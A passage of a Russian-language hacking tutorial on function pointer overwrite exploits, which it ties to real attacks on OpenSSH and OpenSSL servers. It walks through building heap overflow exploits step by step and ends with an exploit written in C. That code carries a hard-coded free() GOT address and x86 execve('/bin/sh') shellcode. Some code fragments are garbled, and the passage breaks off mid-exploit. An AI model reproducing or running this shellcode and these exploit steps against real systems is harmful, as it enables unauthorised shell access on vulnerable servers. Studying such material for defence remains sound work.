1. Почему была написана статья.
2. Описание ошибки.
3. Уязвимая программа (пример и exploit для неё)
4. Реальный пример эксплоита.
1. Большое количество эксплоитов было зарелизено в последнее время.
Некоторые из них основаны на технологии перезаписи указателя
функции(function pointer), позволяющей выполнить шеллкод на стеке или
куче. Вот самые известные из последних эксплоитов, использующие данную
технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo,
sshchan.
Тысячи серверов по всему миру были взломаны. В большинстве случаев эти
эксплоиты использовались так называемымиsсriptkiddie`s, которые не
имеют представления о том, как они работают и что делают. В связи с
этим я попытаюсь рассказать о технике перезаписи указателя функции в
деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда
вы закроете свой “вьювер” =) вы станете просвящены в данном вопросе.
2. Лучший способ разобраться в проблеме - рассмотреть пример уязвимой
программы.
После компиляции и выполнения наши буферы будут содержать следующее:
До переполнения:
buffer2=AAAAAAAAAAAAAAAA
После:
buffer2=BBBBBBBBAAAAAAAA
Buffer1 “вылез” за свою границу в пространство зарезервированное для
buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого
указателя, выполнить шеллкод.
Посмотрите на следующий код:
expl.c
#include <stdio.h> #include <string.h>
int function(const char *argument);
int function(const char *argument) { printf("\nArgument is: %s\n", argument); return0; }
Разберемся, что он делает. Получает 2 аргумента. Первый аргумент -
строка вызывающая переполнение, второй - будет запускать нашу функцию.
Наша функция будет выводить на экран. Как мы можем “эксплуатировать”
это ? Очень просто. Используем первую строку, которая может быть
произвольно большой длины для перезаписи указателя функции и
заставляем его указывать на шеллкод, расположенный в “куче”. Конечно,
мы можем разместить наш шеллкод в первом аргументе программы, подобно
классическому buffer overflow, но тогда сложнее получить адрес
возврата, да и многие системы сегодня уже не имеют выполнимого стека.
К примеру, я использую StackGuard для защиты своей системы от такого
нападения.
Теперь приступим к написанию эксплоита.
3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера.
static char buf[128];
Итак, под буфер отводится 128 байт.
Легко заметить, в моем первом примере, что вылезая за границы буфера в
место, отведенное под heap-переменную, можно перезаписать указатель
функции на адрес нашего шеллкода. Получается что-то вроде этого:
{AAAAAAAA...AAAAAAAAAAAAA}{shellcode address}{NULL byte} 128 bytes of crap 4 bytes long 1 byte
Видно, что длина буфера эксплоита должна быть 128+4+1 байт.
char buf[128 + sizeof(unsigned long) + 1];
Тогда верхний адрес будет определен так:
sysaddr = (unsigned long)sbrk(0)
Будем вычитать пока не сорвем джек-пот ;) :
sysaddr = (unsigned long)sbrk(0) - atoi(argv);
Если размер шеллкода превышает размер нашего буфера - тогда на выход:
if(128 + 4 + 1< strlen(shellcode))exit(1);
Если всё ОК, поместим наш шеллкод в буфер:
strcpy(buf, shellcode);
После шеллкода добавим мусора… Это будет последовательность ААА.. ,
также определим NULL’евой байт, который выступает в роли завершителя
строки:
Теперь в конец “разрешенных” 128 байт, запишем адрес возврата
шеллкода, задом-наперед, не забыв про то, что работаем с linux,
который использует формат little endian.
for(i = 0; i < sizeof(sysaddr); i++)
buf[128 + i] = ((unsigned long)sysaddr >> (i *8))& 255;
Например, если адрес - 0xffff5467, то запишем - 6754ffff. Далее,
передаем наш шеллкод, как аргумент функции. Когда указатель функции
будет перезаписан нашим буфером, shellcode будет выполнен.
Для того, чтобы получить шелл, вы должны выполнить exploit с
параметром offset. Таким образом ./go [offset] . Я создал маленький
скрипт, делающий это для вас. Назовите его sсript.
Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости,
которая широко распространена в реальной жизни.
4. Здесь я рассмотрю пример перезаписи указателя функции free(),
конкретно то, что встречается в реальных условиях. Это точно такая же
техника, на которой построены эксплоиты для openssh-2.9* for freebsd и
openssl apache exploit.
Смотрим:
Для понимания того, что будет написано далее, необходимо знать как
работает функция free(). Объяснение её работы выходит за рамки данной
статьи, читайте MAN`ы. Вот подходящий для “эксплуатации” код:
Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если
строка более 56 символов, разрешенных для аргумента, то она
перезапишет часть buf2. Мы должны заменить первые 8 байт, для того,
чтобы “эксплуатировать” эту программу по стандартной схеме:
[BUFSIZE bytes of shit][previous size of buf2(предыдущий размер
buf2)][size of buf2(размер buf2)][8 bytes of crap][ptr safe 4
bytes][ptr safe 4 bytes][ptr to overwrite lоcation - bufsize1
-4(указатель на перезаписываемую область)][return addy(адрес возврата)] [jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)] [bufsize1-4 bytes of crap][shellcode of your choice(шеллкод на ваш выбор)]
ptr to overwrite lоcation - адрес функции free(), его можно узнать
так:
objdump -R vulnerable_program_binary |grepfree
Адрес возврата - адрес шеллкода, обычно можно узнать брутфорсом.
Далее приведен эксплоит, построенный по показанной схеме:
#include <stdio.h>
main(int argc,char **argv) {
unsigned long sysaddr=0x0804968c-12; /*free() address-16-4*/
unsigned long retaddr; /* shellcode address */
int i;
char buf[1000];
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";